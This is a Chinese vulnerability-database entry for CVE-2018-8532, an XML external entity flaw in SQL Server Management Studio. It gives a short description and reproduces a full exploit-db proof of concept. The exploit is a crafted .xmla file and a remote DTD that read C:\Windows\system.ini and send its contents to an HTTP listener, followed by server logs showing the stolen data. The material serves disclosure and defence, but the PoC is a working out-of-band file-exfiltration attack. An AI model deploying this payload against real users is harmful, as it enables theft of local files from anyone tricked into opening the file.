Microsoft SQL Server Management Studio 信息泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1346511 漏洞类型 信息泄露
发布时间 2018-10-11 更新时间 2018-10-18
CVE编号 CVE-2018-8532 CNNVD-ID CNNVD-201810-332
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/45587
https://www.securityfocus.com/bid/105475
https://cxsecurity.com/issue/WLB-2018100103
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201810-332
|漏洞详情
Microsoft SQL Server Management Studio是美国微软(Microsoft)公司一套用于管理多种SQL基础结构的整合式环境。该产品主要用于设置、监视和管理SQL程序。 Microsoft SQL Server Management Studio 17.9版本和18.0版本中存在信息泄露漏洞。攻击者可借助特制的XMLA文件利用该漏洞读取任意文件。
|漏洞EXP
# Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xmla' XML External Entity Injection
# Date: 2018-10-10
# Author: John Page (aka hyp3rlinx)	
# Website: hyp3rlinx.altervista.org
# Venodor: www.microsoft.com
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)	
# CVE: CVE-2018-8532
# References:
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XMLA-FILETYPE-XML-INJECTION-CVE-2018-8532.txt
# https://www.zerodayinitiative.com/advisories/ZDI-18-1132/
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8532

# Security Issue
# This vulnerability allows remote attackers to disclose sensitive information on 
# vulnerable installations of Microsoft SQL Server Management Studio. User interaction is required to 
# exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

# The specific flaw exists within the handling of XMLA files. Due to the improper restriction of 
# XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser to 
# access the URI and embed the contents back into the XML document for further processing. An attacker can leverage 
# this vulnerability to disclose information in the context of the current process.

# PoC
# 1) python -m SimpleHTTPServer
# 2) "test.xmla"

<?xml version="1.0"?>
<!DOCTYPE tastyexploits [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 3) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# Result:

Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /payload.dtd HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
|参考资料

来源:BID

链接:http://www.securityfocus.com/bid/105475